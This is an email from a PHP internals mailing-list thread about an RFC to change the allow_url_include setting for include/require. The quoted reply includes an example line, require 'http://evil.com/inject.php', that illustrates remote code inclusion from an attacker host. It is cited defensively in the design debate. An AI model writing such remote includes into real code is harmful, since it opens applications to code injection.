Re: Re: [RFC][VOTE] Introduce script only include/require
| From: | Yasuo Ohgaki | Date: | Fri, 27 Feb 2015 01:36:52 +0000 |
| Subject: | Re: Re: [RFC][VOTE] Introduce script only include/require | ||
| References: | 1 2 3 4 5 6 7 8 9 10 | Groups: | php.internals |
| Request: | Send a blank email to internals+get-83949@lists.php.net to get a copy of this message | ||
Hi Stas,
On Fri, Feb 27, 2015 at 7:52 AM, Stanislav Malyshev <smalyshev@gmail.com>
wrote:
> > SInce allow_url_include change is very simple one, I've just made new RFC
> > for it.
> >
> > https://wiki.php.net/rfc/allow_url_include
> >
> > If you find any other issue like this that relates to this RFC, please
> > let me know
> > I'll put this discussion shortly.
>
> I'm not sure what this RFC is trying to achieve. I.e. why make it
> INI_ALL? Setting it to off instantly allows remote includes, etc. so if
> you are at all worried about vulnerable includes, you'd never tell
> anybody to enable it (there can be rare cases where you want to enable
> it, but really if you know what you're doing - that's why the level is
> so high, supposedly if you have access to SYSTEM, you run the server so
> you're supposed to know some stuff about security or at least it's your
> own server you're ruining if you don't).
>
> As for the second part - banning all streams from allow_url_include -
> that would be pretty huge BC break, as streams are used in many
> scenarios where you may need virtual FSs, filters, etc. It is a very
> handy tool. Current setting allows you to operate inside your local
> security domain while cutting off content that comes from outside of
> your domain. Your proposal would give the user the choice of either to
> disable streams completely and lose all benefits coming with them - or
> allow everything completely, including require
> "http://evil.com/inject.php". That's not a good
> choice to give to the
> users.
I've updated the RFC so that allow_url_include be a include/require
parameter.
Since include/require parse and load another script, INI doesn't work well.
It's parameter now, so BC wouldn't be huge.
I'm not using phar regularly, feedback from phar users are welcomed.
Regards,
--
Yasuo Ohgaki
yohgaki@ohgaki.net